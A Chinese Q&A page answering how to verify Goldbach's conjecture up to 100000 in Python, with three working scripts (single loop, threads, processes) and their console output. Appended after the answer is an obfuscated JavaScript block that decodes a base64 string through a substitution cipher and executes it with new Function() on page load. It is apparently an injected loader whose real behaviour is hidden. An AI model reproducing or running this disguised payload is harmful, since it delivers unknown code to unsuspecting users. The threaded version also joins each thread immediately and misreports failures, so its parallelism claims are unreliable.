试编写Python程序,根据哥德巴赫猜想1对100000内的偶数进行验证

2025-03-16 15:46:10
推荐回答(1个)
回答1:

#usr/bin/env python3
import time
from math import sqrt

start=time.time()
n=100000
isprime=lambda p: all([p%d for d in range(2,int(sqrt(p))+1)])
for i in range(6,n+1,2):
    for j in range(2,i//2+1):
        if isprime(j) and isprime(i-j):        
            break
    else:
        print('fail at {}'.format(i))
        break
    print('\r{:.2f}%'.format(i/n*100),end='')        
else:
    print('\nsuccess: all evens in {} is the sum of two primes.'.format(n))
end=time.time()
print('consum time: {:.3f} seconds'.format(end-start))

[willie@bogon pys]$ python3 gede.py 

100.00%

success: all evens in 100000 is the sum of two primes

consum time: 16.739 seconds

#usr/bin/env python3
import sys
import time
from math import sqrt
from threading import Thread

isprime=lambda p: all([p%d for d in range(2,int(sqrt(p))+1)])

def sum_of_two_evens(num):
    for i in range(2,num//2+1):
        if isprime(i) and isprime(num-i):
            return True
    return False

interrupt = False

def check(a,b,per):
    global interrupt
    for i in range(a,b+1,2):
        if not sum_of_two_evens(i) or interrupt:           
            interrupt = True
            break
        if 1:
            print('\r{:.2f}%'.format((i-a)/(b-a)*100),end='')      
        
def main(n=100000):
    start=time.time()    
    thread_count=10    
    threads=[]
    a=6
    b=n//thread_count
    for i in range(thread_count):
        t=Thread(target=check,args=(a,b,i*thread_count))
        t.start()
        t.join()
        a,b=b,n//thread_count*(i+2)
    for t in threads:
        t.join()
    if interrupt:
        print('fail at number {}'.format(i))
    else:
        tip = 'Yes: all evens>6 in {} can be the sum of the primes.'.format(n)
        print('\n{}\n{} threads is used in this case.'.format(tip,thread_count))
    end=time.time()
    print('consum time: {:.3f} seconds'.format(end-start))

if __name__ == '__main__':
    if len(sys.argv)>1:
        main(int(sys.argv[1]))          
    else:
        main()

[willie@bogon pys]$ python3 gedethreads.py 

100.00%

Yes: all evens>6 in 100000 can be the sum of the primes.

10 threads is used in this case.

consum time: 16.486 seconds

#usr/bin/env python3
import sys
import time
import multiprocessing
from math import sqrt
from multiprocessing import Process

def isprime(p): 
    '''check whether is a prime
    >>> isprime(2),isprime(9),isprime(12)
    (True, False, False)
    >>> isprime(5),isprime(121),isprime(113)
    (True, False, True)
    '''
    return all([p%d for d in range(2,int(sqrt(p))+1)])

def sum_of_two_evens(num):
    '''check whether a num can be the sum of two evens
    >>> sum_of_two_evens(8)
    True
    >>> sum_of_two_evens(11)
    False
    '''
    for i in range(2,num//2+1):
        if isprime(i) and isprime(num-i):
            return True
    return False

tasks=[]

def saysuccess(n,task_count):
    tip = 'success: all evens>6 in {} can be the sum of the primes.'.format(n)
    print('\n{}\n{} processes is used in this case.'.format(tip,task_count))

def sayfail(i):
    print('\nfail at number {}'.format(i))  
      
def check(a,b,p,start,c,n):
    '''check whether evens between a and b are all sum_of_two_evens'''
    global interrupt
    for i in range(a,b+1,2):
        if not sum_of_two_evens(i):     
            sayfail(i)      
            [t.terminate() for t in tasks]
            break
        if p==c-1:
            print('\r{:.2f}%'.format((i-a)/(b-a)*100),end='')   
    else:
        if p==c-1:
            saysuccess(n,c)
            print('consum time: {:.3f}'.format(time.time()-start))   
        

if __name__ == '__main__':
    start=time.time()
    import doctest
    doctest.testmod(verbose=True)
    n=100000
    if len(sys.argv)>1:
        n=int(sys.argv[1])         
    task_count=10    
    a=6
    b=n//task_count
    for i in range(task_count):
        t=Process(target=check,args=(a,b,i,start,task_count,n))        
        a,b=b,n//task_count*(i+2)
        t.start()        
        tasks.append(t)

[willie@bogon pys]$ python3 gedeprocess.py 

Trying:

isprime(2),isprime(9),isprime(12)

Expecting:

(True, False, False)

ok

Trying:

isprime(5),isprime(121),isprime(113)

Expecting:

(True, False, True)

ok

Trying:

sum_of_two_evens(8)

Expecting:

True

ok

Trying:

sum_of_two_evens(11)

Expecting:

False

ok

4 items had no tests:

__main__

__main__.check

__main__.sayfail

__main__.saysuccess

2 items passed all tests:

2 tests in __main__.isprime

2 tests in __main__.sum_of_two_evens

4 tests in 6 items.

4 passed and 0 failed.

Test passed.

100.00%

success: all evens>6 in 100000 can be the sum of the primes.

10 processes is used in this case.

consum time: 8.480

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();